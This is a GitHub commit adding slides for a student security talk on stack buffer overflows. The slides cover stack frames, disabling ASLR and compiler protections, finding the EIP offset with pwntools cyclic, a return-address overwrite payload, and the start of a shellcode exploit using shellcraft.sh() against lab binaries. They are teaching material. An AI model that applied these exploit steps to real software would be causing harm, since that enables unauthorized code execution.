Skip to content
Permalink
Browse files
Slides Commit
  • Loading branch information
aa9863 committed Nov 18, 2020
1 parent cccead7 commit d25b30d79c48b91716efc6fcfa7d11942c0cd936
Showing 1 changed file with 383 additions and 0 deletions.
383 Pres.md
@@ -0,0 +1,383 @@
---
title: "Smashing the Stack"
author: "DanG42"

# Introduction

## Hello COMSEC!!!

> Thanks for letting me come an Talk

## Stack Smashing

- The Best[^best] Part of Cyber security
- Proper Computer Science

[^best]: IMO, but sometimes I get carried away with other shiney hacks

## Rough Overview

- WTF is the Stack
- How do We Smash it.
- Redirecting application flow
- "Classic" Overflows

## No ROP??

- Be patient
- Next week with Greg (or Me)

## What are Overflows

- We end up in a bit of memory we should be in
- Usually we get crash
- But could change behaviour of program

## Why they occur

- A lot of it is down to "poor" programming
- (trusting the user to input the correct thing)
- In C/C++ Memory for variables such as strings is pre-allocated.
- The program expects us to respect this.
- The Compiler expects us to be **good coders** and understand the dangers.
- Allows us to allocate too much space and overwrite other parts
of memory
- Its really easy to do this by mistake.
- C / C++ Segfaults

# The Stack

## WTF is the Stack

- Program memory for currently running processes
- Keeps track of Function calls, variables etc
- Fundamental for making programs work.
- Otherwise we would have to load EVERY option into memory at the start.

## The Stack

- Memory is organsised as a stack (First In-Last Out)
- Each Process is allocated a "chunk" of memory the **stack frame**
- Contains Variables, Data, and Pointers to other locations
- Efficent, and allows branching etc, to be dealt with in a sane way
- As a new process happens, the relevant space is dynamically
allocated.

## Stack Frames

So How do we represent a Process.....

## Stack Frames

Name Value
--------- --------------------------
SP (Top item in stack)
Data (I.e. Variables)
BP (Base of Frame)
IP (Next Instruction to run)
Args (1) (Function Args)
Args (2)


## The IP

- Instruction Pointer: A Register that tells the program the memory address to return
to
- Also Known as
- EIP (32 bit)
- RIP (64 bit)
- If we control this we control program flow


## In Action

hello.c

```c
#include <stdio.h>
int add(int var1, int var2){
//Add two numbers
int total;
total = var1+var2;
}
void main(int argv, char* argc){
//Function call
int total = add(10, 20);
printf("Total is %d \n", total);
}
```

## GDB

Can pull a program aprat in this

Start with
- ```gdb program```

View Assemby
- ```set disassembly flavor intel```
- ```disass main```

## R2

- There is Also Radare / Cutter
- Though that's another talk

## Allocating Space

- Function variables are allocated space on the stack
- We have a "Slot" of memory saved for the data

## Allocating Space

```
int add(int var1, var2){
#Add two numbers
int total;
total = var1+var2;
}
```

## Allocating Space

- gdb
- break add #Breakpoint
- x/10c @esp #Examine data in stack
- show vars changing

# Enough Of this Lets Break things

## How things break

- We go over the space allocated for a var
- REMEMBER that IP is below the data
- So if we co far enough we can change what IP is...

## C Strings

- Firstly. Dont google image search them, Horrible things happen
- Remember a string is just a pointer to a chunk of memory
- We start at the address
- Iterate over each character
- Stop when we reach the end of the string (a null byte)

## What happens with C Variables

- Remember C wanted you to specify the size of arrays
- As arguments and data are added, an appropriately sized
**chunk** of memory is allocated on the stack
- However, C doesn't check what you put into an variable is the right
size
- What would happen if we tried to squeeze a 10 Character string
into the 5 allocated units?


## First Overflow

- Shamelessly Inspired by IO
- FirstOverflow.c

## Turning Off Protections

ALSR

```
$sudo su
[sudo] password for dang:
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@dang-laptop Code]# exit
exit
```

## Compile

```
apt install gcc-multlib
```

```
gcc -fno-stack-protector -m32 -g -z execstack firstOverflow.c -o firstOverflow
```


## Running

```
$ ./firstOverflow
Overflow the Buffer
AAAAAA
Off to 0x56556209
Current Memory Address is 0x56556219
Aim for 0x565561dd
Lose :(
```

## And Breaking Stuff

$ ./firstOverflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....AAAAAAAA
Off to 0x41414141
[2] 317135 segmentation fault (core dumped) ./firstOverflow $(python -c "print('A'*200)")


## Whats happenig Here

- 4141414141
- Ascii for "A"
- So we have control of where to go

## Looking in GDB

- We can use GDB for input
- Generate with python -c "print('A'*200)"
- gdb-peda$ run <paste>

## Manually finding EIP

- Binary Search style
- Ok at 100
- Breaks at 200
- Next try is 150

## Pwntools

- Awesome Python Library for this
- I use the python2 version (cuz bytestrings)

## Getting EIP

- ```cyclic 200```
- Feed this into the GDB

## Getting EIP

```
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616167 in ?? ()
```

## Getting the Offset

```
dang@dang-laptop ~/Github/ComsecStacks$ cyclic -l 0x62616167
124
```

## Breaking the Code

- We now now have all the pieces
- Offset
- Location to go to...
## Breaking he Code

- Out Hint
- ```Aim for 0x565561dd```
- Endianness
- ```56 55 61 dd```

## Making a Payload

```python "A"*124 + "\xdd\x61\x55\x56"
./firstOverflow $(python2 -c "print('A'*124 + '\xdd\x61\x55\x56')")
```

## Usnig PwnTools

```
from pwn import *
payload = "A"*124 #Offset
payload += p32(0x565561dd) #Address
print(payload)
## Create a connection to the binary
p = process(["firstOverflow", payload])#payload], shell=True)
p.interactive()
```

## Review

- Find Overflowable Cod
- Find EIP
- Inject Payload
- Win

# Classic Overflows

## A More Complex Example

- Its OK redirecting program flow.
- This time we are going to try to drop a shell
- We need to inject some code into the stack
- Jump to a location near the top of the stack (and the executable
code)
- ....
- Profit

## Requirements

- [ ] Offset
- [ ] JMP Location
- [ ] Payload

## Classic Code

- classic.c


## WE could do this

- Start Breaking in GDB

## Pwn tools

```
p = process("/classic")
raw_input("Attach GDB") #Hack for lack of GDB spawn in my System
p.sendline("A"*500)
```

## Getting the Offset

- Usual cyclic thing

```
$ cyclic -l 0x6361616a
236
```
## Payloads

- [X] Offset
- [ ] JMP Location
- [ ] Payload

## Using Pwntools

- I like msfvenom, but pwn also works

```
context.update(arch='i386', os='linux')
# create a process
# CREATE OUR SHELLCODE
shell = shellcraft.sh()
```

## Payloads

- [X] Offset
- [ ] JMP Location
- [X] Payload


## Where to Jump to

- Rememeber that stuff goes into registers
- So lets look for our data there

0 comments on commit d25b30d

Please sign in to comment.